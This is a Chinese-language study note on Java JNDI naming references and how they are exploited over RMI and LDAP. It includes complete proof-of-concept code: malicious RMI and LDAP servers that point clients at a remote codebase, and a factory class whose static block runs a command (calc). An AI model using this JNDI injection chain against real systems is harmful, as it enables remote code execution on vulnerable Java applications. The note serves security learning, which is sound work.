關於<Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事兒(上)>看後的一些總結-2
關於JNDI:
命名系統是一組關聯的上下文,而上下文是包含零個或多個繫結的物件,每個繫結都有一個原子名(實際上就是給繫結的物件起個名字,方便查詢該繫結的物件), 使用JNDI的好處就是配置統一的管理介面,下層可以使用RMI、LDAP或者CORBA來訪問目標服務
要獲取初始上下文,需要使用初始上下文工廠
比如JNDI+RMI
Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://localhost:9999"); Context ctx = new InitialContext(env); //將名稱refObj與一個物件繫結,這裡底層也是呼叫的rmi的registry去繫結 ctx.bind("refObj", new RefObject()); //通過名稱查詢物件 ctx.lookup("refObj");
比如JNDI+LDAP
Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:1389"); DirContext ctx = new InitialDirContext(env); //通過名稱查詢遠端物件,假設遠端伺服器已經將一個遠端物件與名稱cn=foo,dc=test,dc=org綁定了 Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");
但是如上雖然設定了初始化工廠和provider_url,但是JNDI是支援動態協議轉換的,通過使用上下文來呼叫lookup函式使用遠端物件時,JNDI可以根據提供的URL來自動進行轉換,所以這裡的關鍵點就是lookup的引數可被攻擊者控制。
JNDI命名引用
在命名和目錄服務中繫結JAVA物件數量過多時佔用的資源太多,然而如果能夠儲存對原始物件的引用那麼肯定更加方便,JNDI命名引用就是用Reference類表示,其由被引用的物件和地址組成,那麼意味著此時被應用的物件是不是就可以不一定要求與提供JNDI服務的服務端位於同一臺伺服器。
Reference通過物件工廠來構造物件。物件工廠的實際功能就是我們需要什麼物件即可通過該工廠類返回我們所需要的物件。那麼使用JNDI的lookup查詢物件時,那麼Reference根據工廠類載入地址來載入工廠類,此時肯定會初始化工程類,在之前的調JNDI payload的過程中也和這文章講的一樣,打JNDI裡的三種方法其中兩種就是將命令執行的程式碼塊寫到工廠類的static程式碼塊或者構造方法中,那麼工廠類最後再構造出需要的物件,這裡實際就是第三種getObjectInstance了。
Reference reference = new Reference("MyClass","MyClass",FactoryURL); ReferenceWrapper wrapper = new ReferenceWrapper(reference); ctx.bind("Foo", wrapper);
比如上面這三段程式碼即通過Reference綁定了遠端物件並提供工廠地址,那麼當客戶端查詢Foo名稱的物件時將會到工廠地址處去載入工廠類到本地。
從遠端載入類時有兩種不同級別:
1.命名管理器級別
2.服務提供者(SPI)級別
直接打RMI時載入遠端類時要求強制安裝Security Manager,並且要求useCodebaseOnly為false,直接打LDAP時要求com.sun.jndi.ldap.object.trustURLCodebase = true(預設為false),因為這都是從服務提供者介面(SPI)級別來載入遠端類。
但是在命名管理級別不需要安裝安全管理器(security manager)且jvm選項中低版本的不受useCodebaseOnly限制
JNDI Reference+RMI攻擊
Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName為類名加上包名,FactoryClassName為工廠類名並且包含工廠類的包名 ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); registry.bind("refObj", refObjWrapper);
此時當客戶端通過lookup('refObj')獲取遠端物件時,此時將拿到reference類,然後接下來將去本地的classpath中去找名為refClassName的類,如果本地沒找到,則將會Reference中指定的工廠地址中去找工廠類
RMIClinent.java
package com.longofo.jndi; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import java.rmi.NotBoundException; import java.rmi.RemoteException; public class RMIClient1 { public static void main(String[] args) throws RemoteException, NotBoundException, NamingException { // Properties env = new Properties(); // env.put(Context.INITIAL_CONTEXT_FACTORY, // "com.sun.jndi.rmi.registry.RegistryContextFactory"); // env.put(Context.PROVIDER_URL, // "rmi://localhost:9999"); Context ctx = new InitialContext(); ctx.lookup("rmi://localhost:9999/refObj"); } }
RMIServer.java
package com.longofo.jndi; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer1 { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { // 建立Registry Registry registry = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); registry.bind("refObj", refObjWrapper); } }
ExportObject.java
package com.longofo.remoteclass; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.Serializable; import java.util.Hashtable; public class ExportObject implements ObjectFactory, Serializable { private static final long serialVersionUID = 4474289574195395731L; static { //這裡由於在static程式碼塊中,無法直接拋異常外帶資料,不過在static中應該也有其他方式外帶資料。沒寫在建構函式中是因為專案中有些利用方式不會呼叫構造引數,所以為了方標直接寫在static程式碼塊中所有遠端載入類的地方都會呼叫static程式碼塊 try { exec("calc"); } catch (Exception e) { e.printStackTrace(); } } public static void exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String lineStr; while ((lineStr = inBr.readLine()) != null) sb += lineStr + "\n"; inBr.close(); in.close(); // throw new Exception(sb); } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { System.out.println("333"); return null; } public ExportObject(){ System.out.println("222"); } }
此時服務端建立登錄檔,此時將Reference物件繫結到登錄檔中,此時
從上面的程式碼中可以看到此時初始化工廠後就可以來呼叫遠端物件
此時由輸出也可以看到此時觸發了工廠類的static程式碼塊和構造方法以及getObjectInstance方法
在客戶端lookup處下斷點跟蹤也可以去發現整個的呼叫鏈,其中getReference首先拿到繫結物件的引用,然後再通過getObjectFactoryFromReference從Reference拿到物件工廠,之後再從物件工廠拿到我們最初想要查詢的物件的例項。
JNDI Reference+LDAP
LDAPSeriServer.java
package com.longofo; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.io.IOException; import java.net.InetAddress; /** * LDAP server implementation returning JNDI references * * @author mbechler */ public class LDAPSeriServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] args) throws IOException { int port = 1389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.setSchema(null); config.setEnforceAttributeSyntaxCompliance(false); config.setEnforceSingleStructuralObjectClass(false); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); ds.add("dn: " + "dc=example,dc=com", "objectClass: test_node1"); //因為LDAP是樹形結構的,因此這裡要構造樹形節點,那麼肯定有父節點與子節點 ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: test_node3"); ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject"); //此子節點中儲存Reference類名 System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); //LDAP服務開始監聽 } catch (Exception e) { e.printStackTrace(); } } }
LDAPServer.java
package com.longofo; import javax.naming.Context; import javax.naming.NamingException; import javax.naming.directory.BasicAttribute; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import javax.naming.directory.ModificationItem; import java.io.File; import java.io.IOException; import java.nio.file.Files; import java.util.Hashtable; public class LDAPServer1 { public static void main(String[] args) throws NamingException, IOException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:1389"); DirContext ctx = new InitialDirContext(env); String javaCodebase = "http://127.0.0.1:8000/"; //配置載入遠端工廠類的地址 byte[] javaSerializedData = Files.readAllBytes(new File("C:\\Users\\91999\\Desktop\\rmi-jndi-ldap-jrmp-jmx-jms-master\\ldap\\src\\main\\java\\com\\longofo\\1.ser").toPath()); BasicAttribute mod1 = new BasicAttribute("javaCodebase", javaCodebase); BasicAttribute mod2 = new BasicAttribute("javaClassName", "DeserPayload"); BasicAttribute mod3 = new BasicAttribute("javaSerializedData", javaSerializedData);
ModificationItem[] mods = new ModificationItem[3]; mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1); mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2); mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3); ctx.modifyAttributes("uid=longofo,ou=employees,dc=example,dc=com", mods); } }
LDAPClient.java
package com.longofo.jndi; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class LDAPClient1 { public static void main(String[] args) throws NamingException { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); Context ctx = new InitialContext(); Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com"); } }
此時客戶端初始化上下文後就可以去訪問ldap伺服器上對應的記錄,記錄名為uid=longofo,ou=employees,dc=example,dc=com ,那麼對應在服務端的名稱空間中必定存在這條記錄,以及繫結的Reference物件。此時就能calc。
&n